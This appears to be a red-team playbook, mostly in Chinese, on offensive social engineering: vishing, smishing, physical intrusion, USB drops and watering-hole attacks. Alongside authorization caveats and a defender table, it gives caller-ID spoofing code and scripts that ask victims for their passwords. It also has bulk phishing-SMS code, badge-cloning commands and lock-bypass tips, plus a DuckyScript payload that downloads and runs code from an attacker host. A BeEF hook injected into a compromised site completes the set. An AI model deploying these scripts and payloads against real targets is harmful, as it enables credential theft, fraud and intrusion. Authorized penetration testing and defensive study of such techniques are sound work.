offensive-social-engineering

攻击性社会工程

社会工程利用人类的信任、权威偏见和流程漏洞，而非技术漏洞。虽然网络钓鱼是最常见的攻击途径，但全面的红队行动会测试各种攻击方式：语音通话、短信、物理访问和放置设备。你要模拟一名攻击者，结合 OSINT、心理操纵和物理访问技术，从人的层面突破组织的防御。

此处描述的每项技术都需要明确的书面授权。物理社会工程还涉及其他法律问题——不同司法管辖区对非法侵入、冒充官员和录音的法律规定各不相同。执行前，请确认你的授权范围涵盖每种攻击途径。

快速工作流

1. 开展 OSINT，梳理目标组织的架构、关键人员、物理位置和通信模式。
2. 根据行动目标（窃取凭据、获取物理访问权限、窃取数据）制定角色身份和借口。
3. 准备基础设施：用于语音钓鱼的 VoIP 号码、用于短信钓鱼的 SMS 网关、用于物理访问的克隆门禁卡。
4. 分阶段实施攻击——先从远程攻击途径（语音钓鱼、短信钓鱼）开始；如果授权范围允许，再升级到物理攻击。
5. 记录每次交互的时间戳、录音（法律允许时）和结果。
6. 与客户进行总结复盘；提供可执行的安全意识和流程改进建议。

---

借口构造与心理操纵

借口构造是所有社会工程的基础。你要设计一个可信的情境，为索取信息或访问权限提供理由。这个借口必须经得住随意审视；对于高价值目标，还必须经得住刻意核实。

角色设计

设计一个有足够细节、能够回答后续问题的角色。单薄的借口经不起第一次质疑。

Persona Template:
  Name:           [Realistic for the region and industry]
  Role:           [IT support, vendor account manager, building inspector]
  Organization:   [Real vendor the target uses, or plausible third party]
  Contact Info:   [Burner phone, spoofed email, LinkedIn profile]
  Backstory:      [Why you are calling/visiting today]
  Verification:   [What to say if they try to verify your identity]
  Fallback:       [Graceful exit if the pretext fails]

Example -- IT Support Persona:
  Name:           Mark Chen
  Role:           Senior Support Engineer, Contoso IT Services
  Backstory:      Contoso manages the target's endpoint security.
                  Calling about a critical vulnerability patch that
                  requires the user to verify their credentials on
                  a portal to receive the update.
  Verification:   "You can check our contract reference CON-2024-0847
                  with your procurement team."
  Fallback:       "No problem, I will have your account manager
                  Sarah reach out to coordinate instead."

心理触发因素

有效的社会工程会利用认知偏差。你要有意运用这些偏差，而不是随意使用。

Authority:
  - Impersonate someone with organizational power (CISO, VP, auditor)
  - Reference internal projects or systems by name
  - Use confident, directive language

Urgency / Scarcity:
  - "This must be resolved before end of business today"
  - "Your account will be locked if we cannot verify now"
  - Artificial deadlines compress the target's decision-making time

Social Proof:
  - "I have already confirmed this with your colleague [name]"
  - "Everyone in your department has completed this step"

Reciprocity:
  - Offer help before making a request ("I fixed that ticket for you")
  - Small favors create obligation

Commitment / Consistency:
  - Get the target to agree to small requests first
  - Escalate to the actual objective after initial compliance

Liking / Rapport:
  - Mirror the target's communication style
  - Find common ground (shared frustrations, industry knowledge)
  - Use their name; reference specifics from OSINT

---

语音钓鱼（语音网络钓鱼）

语音通话增添了电子邮件无法复制的人为因素。实时互动让你能够灵活应对、化解异议并动态建立信任。

VoIP 基础设施设置

搭建专用语音基础设施，支持来电显示号码伪造和通话录音。

# Option 1: Twilio for caller ID manipulation
# Register a Twilio account and purchase a local number

pip install twilio

python3 <<'PYEOF'
from twilio.rest import Client

account_sid = "ACXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"
auth_token = "your_auth_token"
client = Client(account_sid, auth_token)

# Place a call with spoofed caller ID
call = client.calls.create(
    to="+1XXXXXXXXXX",        # Target number
    from_="+1XXXXXXXXXX",     # Your Twilio number (displayed)
    url="http://your-server.com/twiml/pretext.xml"  # TwiML script
)
print(f"Call SID: {call.sid}")
PYEOF

# TwiML script for IVR-style pretext
cat <<'XML' > pretext.xml
<?xml version="1.0" encoding="UTF-8"?>
<Response>
    <Say voice="alice">
        This is an automated message from your IT security team.
        A suspicious login was detected on your account.
        Press 1 to verify your identity and secure your account.
    </Say>
    <Gather numDigits="1" action="/handle-key" method="POST">
        <Say>Press 1 now.</Say>
    </Gather>
</Response>
XML

# Option 2: Asterisk PBX for full control
# Install Asterisk on a VPS
apt-get install asterisk

# Configure a SIP trunk with a VoIP provider that permits
# caller ID passthrough (check provider TOS for compliance)

# extensions.conf -- route outbound calls with custom CallerID
cat <<'CONF' >> /etc/asterisk/extensions.conf
[outbound-spoof]
exten => _X.,1,Set(CALLERID(num)=2125551234)
exten => _X.,n,Set(CALLERID(name)=TargetCorp IT)
exten => _X.,n,Dial(SIP/trunk/${EXTEN})
exten => _X.,n,Hangup()
CONF

asterisk -rx "dialplan reload"

语音钓鱼通话脚本

准备好脚本，但要以对话方式表达。逐字照读会显得机械，引起怀疑。

Opening:
  "Hi, this is Mark from IT support. Am I speaking with [target name]?
   Great -- I am calling because we detected some unusual activity
   on your account this morning and I need to verify a few things
   with you to get it resolved."

Credential Harvesting:
  "I have pulled up your account and I can see the flagged activity.
   To confirm your identity before I can make any changes, could you
   verify the email address on file? ... And the password you are
   currently using, so I can confirm it was not changed by the
   unauthorized party?"

Objection Handling:
  Target: "I should not give my password over the phone."
  Response: "Absolutely, I understand the concern. What I can do
   instead is send you a secure link to reset it. Can you confirm
   the email I should send that to? I will stay on the line while
   you complete it."
   [Send EvilGinx2 link via email during the call]

Escalation to Manager:
  "If you would prefer, I can have my supervisor call you back.
   Let me transfer you to our team lead."
   [Transfer to another operator playing the supervisor role]

IVR 系统利用

交互式语音应答系统通常存在隐藏的管理菜单、默认 PIN 码或可通过 DTMF 访问的功能。

Common IVR reconnaissance:
  - Dial the main number and explore all menu options
  - Try pressing 0, #, or * at any prompt for operator/admin access
  - Enter default PINs: 0000, 1234, 9999, the last four of the main number
  - Listen for system identification (Cisco Unity, Avaya, Mitel)
  - Check for voicemail systems accessible via external dial-in
  - Test for DTMF injection during hold music or transfer sequences

---

短信钓鱼（SMS 网络钓鱼）

短信的打开率高于电子邮件，也更难被组织过滤。运营商层面的防护正在改善，但仍不一致。

SMS 网关设置与发送

# Twilio SMS with link tracking
from twilio.rest import Client

client = Client("ACXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX", "auth_token")

targets = [
    ("+1XXXXXXXXXX", "John"),
    ("+1XXXXXXXXXX", "Sarah"),
]

for number, name in targets:
    message = client.messages.create(
        body=f"Hi {name}, your VPN certificate expires today. "
             f"Renew now to avoid losing access: "
             f"https://vpn-targetcorp.com/renew?u={name.lower()}",
        from_="+1XXXXXXXXXX",  # Your Twilio number
        to=number
    )
    print(f"Sent to {name}: {message.sid}")

短信钓鱼借口模式

IT / Security:
  "TargetCorp Security Alert: Unusual login detected from
   [city]. Verify your identity: https://secure-targetcorp.com/verify"

HR / Benefits:
  "[TargetCorp] Open enrollment deadline extended to Friday.
   Review your benefits selections: https://benefits-portal.com/enroll"

Delivery / Package:
  "USPS: Your package requires address confirmation before
   delivery. Confirm here: https://usps-verify.com/confirm"

MFA Push Fatigue (combined with credential stuffing):
  Send repeated MFA push notifications, then SMS:
  "TargetCorp IT: We are seeing repeated MFA prompts on your
   account. If this is not you, approve the next prompt so we
   can reset and secure your account."

---

物理社会工程

物理渗透测试要求你绕过警卫、门锁、门禁读卡器和人的警觉性，以进入受限区域。

尾随进入与搭便车进入

最简单的物理访问技术。你跟随获准人员通过受控入口。

Tailgating Approaches:
  - Hands full: Carry boxes, a laptop bag, and coffee. People
    hold doors for someone whose hands are full.
  - Smoking area: Join employees at the smoking area and walk
    back in with them. No badge tap needed.
  - Delivery persona: Wear a delivery uniform, carry a package
    addressed to someone inside. "I just need to drop this off."
  - Timing: Enter during high-traffic periods (8:30-9:00 AM,
    lunch return at 1:00 PM) when door-holding is routine.

Physical Appearance:
  - Dress code matters. Match the environment.
  - Corporate office: Business casual, lanyard with a badge
    (even a blank one -- people see the lanyard, not the badge).
  - Data center: Polo shirt, cargo pants, tool belt.
  - Construction/maintenance: Hi-vis vest, hard hat, clipboard.

使用 Proxmark3 克隆 RFID 门禁卡

大多数门禁系统使用低频（125 kHz）感应卡，克隆起来轻而易举。高频系统（13.56 MHz）需要更多工夫，但仍然容易受到攻击。

# Proxmark3 -- Read a low-frequency HID ProxCard
proxmark3> lf hid read
# Output: TAG ID: 2004XXXXXXXX

# Clone to a T5577 writable card
proxmark3> lf hid clone -r 2004XXXXXXXX

# For iCLASS (high-frequency) systems
proxmark3> hf iclass read
# May require key recovery:
proxmark3> hf iclass loclass
# Then clone with recovered keys

# For MIFARE Classic (common in many badge systems)
proxmark3> hf mf autopwn
# Dumps all sectors; clone to a MIFARE Classic compatible card
proxmark3> hf mf cload -f dump.eml

Badge Capture Techniques:
  - Long-range reader: Place a concealed reader near an entry
    point or elevator. Low-frequency cards can be read at 1-3
    feet without the cardholder's knowledge.
  - Social approach: "Hey, can I see your badge for a second?
    I think we have the same model and mine stopped working."
  - Photography: Badge numbers are sometimes printed on the
    face of the card. A telephoto lens from across a parking
    lot can capture them.

撬锁与物理绕过

Common Bypass Methods:
  - Lock picking: Rake or single-pin pick standard pin tumbler
    locks. Most commercial door locks are pickable in under
    60 seconds with practice.
  - Bump keys: Pre-cut keys that open pin tumbler locks via
    percussive force. Fast and low-skill.
  - Shims: Bypass padlocks by inserting a thin metal shim
    between the shackle and the locking mechanism.
  - Under-door tools: Slide a tool under the door to reach
    the interior handle or push bar. Works on outward-opening
    doors with gaps.
  - REX sensor triggering: Request-to-exit motion sensors can
    often be triggered through glass doors with a can of
    compressed air (simulates heat) or by reaching through
    gaps with a wire.
  - Elevator manipulation: Many elevator control panels use
    standard fire service keys (FEO-K1 is near-universal in
    the US). Carry one.

---

USB 投放攻击

武器化 USB 设备利用了人类的好奇心，以及用户对物理介质的默认信任。

USB Rubber Ducky

Rubber Ducky 在目标系统中会显示为键盘，并以机器速度执行预先编程的按键操作。

# DuckyScript payload -- reverse shell via PowerShell
# Saved as inject.bin on the Rubber Ducky microSD

DELAY 1000
GUI r
DELAY 500
STRING powershell -w hidden -ep bypass -c "IEX((New-Object Net.WebClient).DownloadString('https://cdn.attacker.com/shell.ps1'))"
ENTER
DELAY 100

Bash Bunny

Bash Bunny 是一个多功能 USB 攻击平台，可同时模拟存储设备、键盘和以太网。

# Bash Bunny payload -- credential harvesting via Responder
# payload.txt in switch position 1

ATTACKMODE ECM_ETHERNET HID
LED SETUP

# Wait for network interface
QUACK DELAY 3000

# Start Responder on the Bash Bunny's network interface
python3 /tools/responder/Responder.py -I usb0 -wrfb &

# Wait for hashes
LED ATTACK
sleep 60

# Exfiltrate captured hashes
LED CLEANUP
cp /tools/responder/logs/* /root/udisk/loot/
LED FINISH

sync

O.MG Cable

O.MG Cable 外观与标准 USB 充电线无法区分，但内置无线植入装置，可注入按键、记录按键并远程执行命令。

O.MG Deployment Scenarios:
  - Replace a charging cable at the target's desk during a
    physical assessment. The cable charges the device normally
    while providing covert access.
  - Leave "branded" cables in common areas: conference rooms,
    reception desks, break rooms.
  - Mail a cable to the target as a "promotional gift" or
    "replacement for a recalled product."

O.MG Capabilities:
  - Keystroke injection (like Rubber Ducky, but wireless trigger)
  - Keylogging (captures everything typed through the cable)
  - Wi-Fi command and control (connect to the implant's AP)
  - Geofencing (auto-trigger payloads based on Wi-Fi proximity)
  - Self-destruct (wipe payload remotely)

---

水坑攻击

不直接攻击目标，而是入侵目标经常访问的网站。这种方式对抵制直接网络钓鱼、安全意识较强的组织尤其有效。

水坑攻击方法

1. Identify target browsing habits via OSINT:
   - Industry forums and blogs
   - Vendor portals and documentation sites
   - Regional news sites popular with the target demographic
   - Professional association websites

2. Assess candidate sites for vulnerabilities:
   - XSS (inject malicious JavaScript without full compromise)
   - CMS vulnerabilities (WordPress, Drupal, Joomla)
   - Third-party widget compromise (analytics, chat, ads)

3. Deploy selective exploitation:
   - Serve exploits only to IP ranges belonging to the target org
   - Use browser fingerprinting to target specific OS/browser combos
   - Redirect to benign content for non-target visitors

4. Example: Inject BeEF hook into a compromised industry blog

// BeEF hook injection on a compromised watering hole site
// Injected into the site's footer or a third-party JS include
// Targets only the victim organization's IP range

(function() {
    var targetRanges = ["203.0.113.", "198.51.100."];
    // IP check via WebRTC or server-side logic
    // If target IP matches, load BeEF hook:
    var s = document.createElement("script");
    s.src = "https://attacker-beef.com/hook.js";
    document.body.appendChild(s);
})();

---

用于目标定位的 OSINT

有效的社会工程从情报收集开始。你对目标了解得越多，编造的借口就越有说服力。

LinkedIn 和组织侦察

# LinkedIn scraping for employee enumeration
# Use linkedin2username for email format derivation
python3 linkedin2username.py -u [email protected] -c "TargetCorp" -s 1000

# theHarvester for multi-source OSINT
theHarvester -d targetcorp.com -b all -l 500

# Recon-ng for structured intelligence gathering
recon-ng
[recon-ng] > marketplace install all
[recon-ng] > modules load recon/companies-contacts/bing_linkedin_cache
[recon-ng] > options set SOURCE "TargetCorp"
[recon-ng] > run

# CrossLinked for LinkedIn enumeration without API
python3 crosslinked.py -f '{first}.{last}@targetcorp.com' "TargetCorp"

组织模式分析

Map the organization to identify:

  Reporting Structure:
    - Who reports to whom (LinkedIn, press releases, org charts)
    - Key decision-makers and their assistants
    - New hires (less likely to question unusual requests)

  Communication Patterns:
    - Internal tools (Slack, Teams, Zoom -- visible in job postings)
    - Vendor relationships (partner pages, case studies)
    - Email format (first.last, flast, firstl -- verify via SMTP)

  Physical Security:
    - Office locations (Google Maps, Street View for entry points)
    - Badge type (photos on social media, Glassdoor)
    - Visitor procedures (call the front desk and ask)
    - Delivery schedules (observe loading docks)

  Technology Stack:
    - Job postings reveal internal tools and infrastructure
    - DNS records, SSL certificates, Shodan results
    - GitHub/GitLab public repositories from employees

---

检测 / 防御者视角

攻击向量	检测指标	防御措施
语音钓鱼	来电显示异常、来电者索要凭据、无法通过回拨验证身份	制定回拨验证政策、绝不通过电话分享凭据、建立安全暗语机制
短信钓鱼	未知发件人、短信中包含 URL、措辞紧迫、发件人名称不符	过滤短信、开展用户安全意识培训、绝不点击用于企业事务的短信链接
尾随进入	面孔陌生、未佩戴可见证件、紧跟他人通过门禁	设置人员通道/气闸入口、安装安全摄像头、开展主动质询文化培训
门禁卡克隆	同一门禁卡在不同地点被读取、在非正常时段出入	实施多因素实体门禁（门禁卡 + PIN）、对出入记录进行异常检测
USB 投放	插入未知 USB 设备、枚举出新的 HID 设备、出现异常按键输入	通过 GPO 禁用 USB 端口、将 USB 设备列入白名单、使用终端检测发现 HID 攻击
水坑攻击	出现意外的浏览器漏洞利用尝试、向未知 C2 发送信标流量	使用进行 TLS 检查的 Web 代理、浏览器隔离、网络分段

防御者应建立“信任但要验证”的文化：每项异常请求都应通过独立渠道验证，而不是通过请求者提供的渠道验证。

---

演练速查表

PRE-ENGAGEMENT
  [ ] Written authorization covers all planned vectors (vishing, physical, USB)
  [ ] Legal review of jurisdiction-specific laws (recording consent, trespass)
  [ ] Rules of engagement define escalation limits and safety words
  [ ] Personas and pretexts developed and rehearsed
  [ ] Infrastructure ready: VoIP numbers, SMS gateway, cloned badges, USB devices
  [ ] Emergency contact list (client POC, legal, physical safety)

EXECUTION - REMOTE
  [ ] Vishing calls recorded (where legally permitted) with timestamps
  [ ] Smishing messages sent and tracked
  [ ] All credential captures documented immediately
  [ ] Stop criteria monitored (do not exceed authorized scope)

EXECUTION - PHYSICAL
  [ ] Carry authorization letter at all times during physical assessment
  [ ] Photograph or video evidence of access achieved (where permitted)
  [ ] Do not damage property, alarm occupants, or create safety hazards
  [ ] If challenged and pretext fails, present authorization letter immediately
  [ ] Log entry/exit times for every facility accessed

POST-ENGAGEMENT
  [ ] All planted devices (USB, O.MG cables) recovered or accounted for
  [ ] Cloned badges destroyed
  [ ] VoIP numbers and SMS accounts decommissioned
  [ ] Findings compiled: what worked, what was caught, what was missed
  [ ] Recommendations: procedural controls, awareness training, physical upgrades

---

主要参考资料

• MITRE ATT&CK T1598 -- 信息窃取型网络钓鱼
• MITRE ATT&CK T1566 -- 网络钓鱼
• MITRE ATT&CK T1091 -- 通过可移动介质进行复制
• MITRE ATT&CK T1189 -- 路过式入侵
• Social Engineering Toolkit (SET) -- https://github.com/trustedsec/social-engineer-toolkit
• Proxmark3 -- https://github.com/RfidResearchGroup/proxmark3
• Hak5 USB Rubber Ducky -- https://docs.hak5.org/hak5-usb-rubber-ducky
• Hak5 Bash Bunny -- https://docs.hak5.org/bash-bunny
• O.MG Cable -- https://o.mg.lol
• BeEF Framework -- https://beefproject.com
• linkedin2username -- https://github.com/initstring/linkedin2username
• CrossLinked -- https://github.com/m8sec/CrossLinked
• Christopher Hadnagy，《社会工程：人类黑客科学》